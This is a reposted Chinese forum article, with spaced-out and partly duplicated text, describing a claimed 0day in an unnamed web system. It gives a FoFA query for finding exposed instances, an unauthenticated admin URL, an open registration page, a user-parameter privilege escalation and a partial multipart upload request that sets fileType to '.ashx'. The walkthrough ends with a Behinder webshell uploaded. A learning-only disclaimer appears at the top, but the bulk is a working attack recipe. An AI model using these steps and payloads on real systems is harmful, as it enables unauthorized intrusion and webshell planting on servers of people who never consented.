搜索

[7547] 2021-03-27_漏洞复现某系统通用（0day）

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-17
2021-03-27_漏洞复现某系统通用（0day） 漏 洞 复 现   |   某 系 统 通 用 （ 0 d a y ） 原 创   p a i d a 李   F 1 2 s e c   2 0 2 1 - 0 3 - 2 7 收 录 于 话 题   # 漏 洞 复 现   , 1 1 个 前 言 前 言   声 明 ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 声 明 ： 本 次 测 试 只 作 为 学 习 用 处 ， 请 勿 未 授 权 进 行 渗 透 测 试 ， 切 勿 用 于 切 勿 用 于 它 用 途 ！ 它 用 途 ！ P a r t . 1   漏 洞 详 情 漏 洞 详 情 月 球 师 傅 掏 出 了 自 己 的 大 宝 贝 ， 甩 了 出 来 ， 猫 猫 有 什 么 坏 心 思 呢 ~ ~ F o F A 语 法 : / W i d g e t / c o m m o n / S e r v i c e / C o m m o n W i d g e t S e r v i c e . a s m x / C a t e g o r y l i s t 漏 洞 位 置 / S m a r t M o b i l e / m i c r o p a g e / U p L o a d / F i l e s U p L o a d H a n d l e r . a s h x 任 意 文 件 上 传 ： 任 意 文 件 上 传 ： 返 回 就 是 存 在 构 造 P O C P o s t :   - - - - - - W e b K i t F o r m B o u n d a r y x J B E c L K 1 x d y l q B h P C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ; n a m e = " f i l e T y p e "
通 过 构 造 的 P O C 成 功 上 传 文 件 ， 并 返 回 上 传 成 功 后 的 路 径 。   未 授 权 访 问 未 授 权 访 问 / S m a r t M o b i l e / M o b i l e I n d e x . a s p x ? u n a m e = a d m i n & o r g I d = 0 访 问 连 接 直 接 跳 转 到 管 理 员 （ 有 的 需 要 登 录 有 的 则 不 要 ）   需 要 登 录 的 提 示 绑 定 账 号 ， 这 时 候 需 要 注 册 一 个 账 号 登 录 。 提 供 一 次 任 意 用 户 注 册 提 供 一 次 任 意 用 户 注 册 用 户 注 册 链 接 :   M o d u l e / S S O / S J S _ R e g i s t e r . a s p x C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ; n a m e = " f i l e T y p e "   2 2 2 2 . a s h x - - - - - - W e b K i t F o r m B o u n d a r y x J B E c L K 1 x d y l q B h P C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ; n a m e = " f i l e " ;   f i l e n a m e = " 2 2 2 2 . j p g " C o n t e n t - T y p e :   i m a g e / j p e g   1 - - - - - - W e b K i t F o r m B o u n d a r y x J B E c L K 1 x d y l q B h P —
P a r t . 2   漏 洞 复 现 漏 洞 复 现 找 到 同 类 型 的 站 点 ， 访 问 并 注 册 一 个 账 号   注 册 成 功 后 ， 登 录 到 用 户 主 页 ， 可 以 看 到 开 放 了 许 多 的 功 能 。 访 问 到 个 人 中 心 可 以 看 到 这 个 U R L 通 过 G E T 的 方 式 传 递 u s e r 参 数 h t t p : / / x x x . x x x . x x x / M o d u l e / P e r s o n a l C e n t e r / D e f a u l t . a s p x ? u s e r = t e s t 1 2 3
修 改 u s e r = a d m i n ， 发 现 界 面 发 生 变 化 ， 用 户 变 为 管 理 员 h t t p : / / x x x . x x x . x x x / M o d u l e / P e r s o n a l C e n t e r / D e f a u l t . a s p x ? u s e r = a d m i n 在 访 问 h t t p : / / x x x . x x x . x x x / S m a r t M o b i l e / M o b i l e I n d e x . a s p x ? u n a m e = a d m i n & o r g I d = 0 到 达 管 理 员 后 台 管 理 界 面 找 到 图 片 上 传 的 位 置 ， 上 传 图 片 ， 修 改 f i l e T y p e 的 参 数 ， 发 现 此 处 没 有 任 何 过 滤 ，   冰 蝎 上 传 成 功 ， 复 现 成 功 。
往 期 推 荐 漏 洞 复 现   |   记 一 次 通 用 漏 洞 0 实 战   |   记 一 次 利 用 m s s q l 上 线 实 战   |   利 用 无 线 渗 透 加 内 网 渗 透 进 行 钓 妹 子 ( 上 篇 )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理